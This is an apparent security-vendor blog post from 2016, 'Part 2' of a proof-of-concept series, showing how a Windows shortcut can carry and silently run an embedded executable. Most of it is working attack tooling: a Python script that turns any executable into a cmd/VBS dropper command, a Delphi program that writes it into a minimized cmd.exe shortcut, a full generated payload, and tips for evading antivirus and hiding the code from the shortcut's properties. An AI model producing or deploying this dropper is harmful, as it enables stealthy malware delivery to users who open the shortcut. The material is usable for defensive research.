Shortcuts as entry points for malware (PoC) – Part 2

December 22,2016

It was only yesterday that we reported about a way of infecting Microsoft Windows users by using a simple shortcut trick with the BITSAdmin Tool to download and execute a remote application.

If you haven’t already read the article, please click here.

The main issue with the first example is that your firewall could potentially block the download attempt since it requires a remote http/https connection to download the file before its execution.

Our security researcher has found another sneaky way of exploiting the Windows shortcut with a new 0day by embedding any files (such as application files) directly inside the shortcut itself.

Yes! the application is inside the Windows shortcut

This makes the malicious application fully undetectable by any antivirus software before it will be dropped and executed.


Note: An an example, in the PoC mentioned below, we decided to use this vulnerability as a file dropper, but we could also create a version that injects the binary file directly into memory without being written to disk to become even more undectable for antivirus software on its execution. We will probably write another article about this method later


How does it work?

The first thing to do is to create a malicious VBS (Visual Basic Script) which will:



When the VBS script is ready - still using our python script example - we will translate the VBS code in a single command line equivalent to be inserted into the new shortcut.

Windows normally allows a maximum shortcut command of around 260 characters, but using our previous Delphi trick for creating a new shortcut, you can insert any amount of characters without breaking the shortcut.

Script to create the inline malicious VBS application extractor (Python 3.5)

# SHORTCUT EXPLOIT           : FILE BINDER (WRAPPER)
# DISCOVERED AND CODED BY    : @DarkCoderSc
# https://twitter.com/DarkCoderSc
# Lead Developer / Security Researcher at Phrozen SAS (https://phrozensoft.com)
# jplesueur@phrozensoft.com
############################################
# This little script will generate a malicious shortcut. A file will be embedded
# Inside, when executed it will be extracted and executed.

import sys
import os

if len(sys.argv) != 3:
        print("Missing arguments!\n")
        print("Usage:\n")
        print(r"1) The executable file to be dropped (Needs to Exists)")
        print(r"2) The destination malicious shell payload file")

        exit()

FEXEFile  = str(sys.argv[1])
FFileDest = str(sys.argv[2])
if not os.path.exists(FEXEFile):
        print("The input executable file must exists!")
        exit()

#
# TRANSFORM INPUT FILE IN BINARY ARRAY
#

payload = "payload=array(";
with open(FEXEFile, 'rb') as FFile:
    while True:
        s = FFile.read(1)
        if len(s) == 0: break
        b = ord(s)
        payload += str(b) + ","
    payload = payload[:-1]
    payload += ")"
    FFile.close

#
# WRITE VBS EXTRACTION AND EXECUTION CODE TO BE PLACED IN A SHELL
#

tempFile      = " >> %temp%\\tmp.vbs"

maliciousVBS =  "del %temp%\\tmp.vbs & "

maliciousVBS += "echo "  + payload + tempFile                                                                                       + " & "
maliciousVBS += "echo "  + "Set FSO = Wscript.CreateObject(\"Scripting.FileSystemObject\")"                                         + tempFile + " & "
maliciousVBS += "echo "  + "Set CTF = FSO.CreateTextFile(\"%temp%\\tmp.exe\")"                                                      + tempFile + " & "
maliciousVBS += "echo "  + "for i = 0 to UBound(payload)"                                                                           + tempFile + " & "
maliciousVBS += "echo "  + "buff = buff^&chr(payload(i))"                                                                           + tempFile + " & "
maliciousVBS += "echo "  + "next"                                                                                                   + tempFile + " & "
maliciousVBS += "echo "  + "CTF.Write buff"                                                                                         + tempFile + " & "
maliciousVBS += "echo "  + "Dim objShell"                                                                                           + tempFile + " & "
maliciousVBS += "echo "  + "Set objShell = WScript.CreateObject(\"WScript.Shell\")"                                                 + tempFile + " & "
maliciousVBS += "echo "  + "CTF.Close"                                                                                              + tempFile + " & "
maliciousVBS += "echo "  + "objShell.Run(\"%temp%\\tmp.exe\")"                                                                      + tempFile + " & "
maliciousVBS += "%temp%\\tmp.vbs"


with open(FFileDest, 'w') as FDest:
    FDest.write(maliciousVBS)

Script to inject the inline malicious VBS application extractor in a Shortcut (Delphi)

(*
 SHORTCUT EXPLOIT           : FILE BINDER (WRAPPER)
 DISCOVERED AND CODED BY    : @DarkCoderSc
 https://twitter.com/DarkCoderSc
 Lead Developer / Security Researcher at Phrozen SAS (https://phrozensoft.com)
 jplesueur@phrozensoft.com
*)

program Shortcut_gen;

{$APPTYPE CONSOLE}

uses
  System.SysUtils, ActiveX, ShlObj, ComObj, Windows, Classes;

function MaliciousLnk(cmd, destPath : String) : Boolean;
var cObject   : IUnknown;
    shellLink : IShellLink;
    PFile     : IPersistFile;
begin
  result := false;
  CoInitialize(nil);
  try
    cObject := CreateComObject(CLSID_ShellLink);
    shellLink := cObject as IShellLink;
    PFile := cObject as IPersistFile;

    cmd := '/C "' + cmd + '"';
    shellLink.SetDescription('@DarkCoderSc');
    shellLink.SetPath('cmd.exe');
    shellLink.SetArguments(PWideChar(cmd));
    shellLink.SetShowCmd(SW_SHOWMINNOACTIVE);
    shellLink.SetWorkingDirectory('%windir%\system32\');
    shellLink.SetIconLocation('shell32.dll', 1);

    result := PFile.Save(PWideChar(destPath), false) = S_OK;
  finally
    CoUninitialize();
  end;
end;

var Arg1, Arg2 : String;
    strList    : TStringList;

begin
  try
    if ParamCount <> 2 then begin
      writeln('usage:');
      writeln('- Arg1 : Payload file, generated with the "gen_shortcut_code.py"');
      writeln('- Arg2 : Full path of destination shortcut');

      exit;
    end;

    Arg1 := ParamStr(1);
    Arg2 := ParamStr(2);

    if NOT FileExists(Arg1) then exit;

    // THIS IS JUST A LAZY WORKING EXAMPLE OF OPENNING TEXT FILES
    strList := TStringList.Create;
    strList.LoadFromFile(Arg1);

    MaliciousLnk(strList.Text, Arg2);

    strList.Free;

  finally
    writeln(#13#10 + 'Press enter to leave...');
    readln;
  end;
end.

Example of generated payload (Simple Hello World in Assembly x86)

del %temp%\tmp.vbs & echo payload=array(77,90,128,0,1,0,0,0,4,0,16,0,255,255,0,0,64,1,0,0,0,0,0,0,64,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,128,0,0,0,14,31,186,14,0,180,9,205,33,184,1,76,205,33,84,104,105,115,32,112,114,111,103,114,97,109,32,99,97,110,110,111,116,32,98,101,32,114,117,110,32,105,110,32,68,79,83,32,109,111,100,101,46,13,10,36,0,0,0,0,0,0,0,0,80,69,0,0,76,1,2,0,133,214,90,88,0,0,0,0,0,0,0,0,224,0,15,1,11,1,1,71,0,2,0,0,0,2,0,0,0,0,0,0,0,16,0,0,0,16,0,0,0,32,0,0,0,0,64,0,0,16,0,0,0,2,0,0,1,0,0,0,0,0,0,0,4,0,0,0,0,0,0,0,0,48,0,0,0,2,0,0,9,63,0,0,2,0,0,0,0,16,0,0,0,16,0,0,0,0,1,0,0,0,0,0,0,0,0,0,16,0,0,0,0,0,0,0,0,0,0,0,0,32,0,0,176,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,46,116,101,120,116,0,0,0,42,0,0,0,0,16,0,0,0,2,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,0,0,96,46,105,100,97,116,97,0,0,176,0,0,0,0,32,0,0,0,2,0,0,0,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,64,0,0,192,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,106,0,255,21,104,32,64,0,80,232,12,0,0,0,72,101,108,108,111,32,87,111,114,108,100,0,106,0,255,21,152,32,64,0,106,0,255,21,100,32,64,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,88,32,0,0,0,0,0,0,0,0,0,0,60,32,0,0,100,32,0,0,144,32,0,0,0,0,0,0,0,0,0,0,74,32,0,0,152,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,75,69,82,78,69,76,51,50,46,68,76,76,0,0,85,83,69,82,51,50,46,68,76,76,0,0,0,0,112,32,0,0,126,32,0,0,0,0,0,0,112,32,0,0,126,32,0,0,0,0,0,0,0,0,69,120,105,116,80,114,111,99,101,115,115,0,0,0,71,101,116,67,111,109,109,97,110,100,76,105,110,101,65,0,160,32,0,0,0,0,0,0,160,32,0,0,0,0,0,0,0,0,77,101,115,115,97,103,101,66,111,120,65,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0) >> %temp%\tmp.vbs & echo Set FSO = Wscript.CreateObject("Scripting.FileSystemObject") >> %temp%\tmp.vbs & echo Set CTF = FSO.CreateTextFile("%temp%\tmp.exe") >> %temp%\tmp.vbs & echo for i = 0 to UBound(payload) >> %temp%\tmp.vbs & echo buff = buff^&chr(payload(i)) >> %temp%\tmp.vbs & echo next >> %temp%\tmp.vbs & echo CTF.Write buff >> %temp%\tmp.vbs & echo Dim objShell >> %temp%\tmp.vbs & echo Set objShell = WScript.CreateObject("WScript.Shell") >> %temp%\tmp.vbs & echo CTF.Close >> %temp%\tmp.vbs & echo objShell.Run("%temp%\tmp.exe") >> %temp%\tmp.vbs & %temp%\tmp.vbs

If you paste it to your favorite command prompt, it will extract a VBS file in your temp folder, if you run this VBS file it will execute the embedded application.
When you inject this payload in a shortcut, it will do all the job simply by clicking on it!

Usage:

Generate inline malicious VBS application extractor

py gen_inlinecode.py @APPLICATION_LOCATION @PAYLOAD_DESTINATION

Then generate the shortcut

shortcut_gen.exe @PAYLOAD_LOCATION @SHORTCUT_DESTINATION

You should now see a new shortcut containing the whole application on it. When executed, it will extract the embedded application then execute from temporary folder.

Note, if you open shortcut properties, the whole code is not available since Microsoft normally only allow 260 bytes to be added in the argument field. This makes the shortcut even more difficult to spot.
We could also modify our script to generate a regular junk "code" before the exploit code, then a regular user will think it is a normal / safe shortcut.

Video of the PoC


The maximum size of a shortcut is arround 64KiB which makes this exploit compatible with many known / unknown viruses

Comments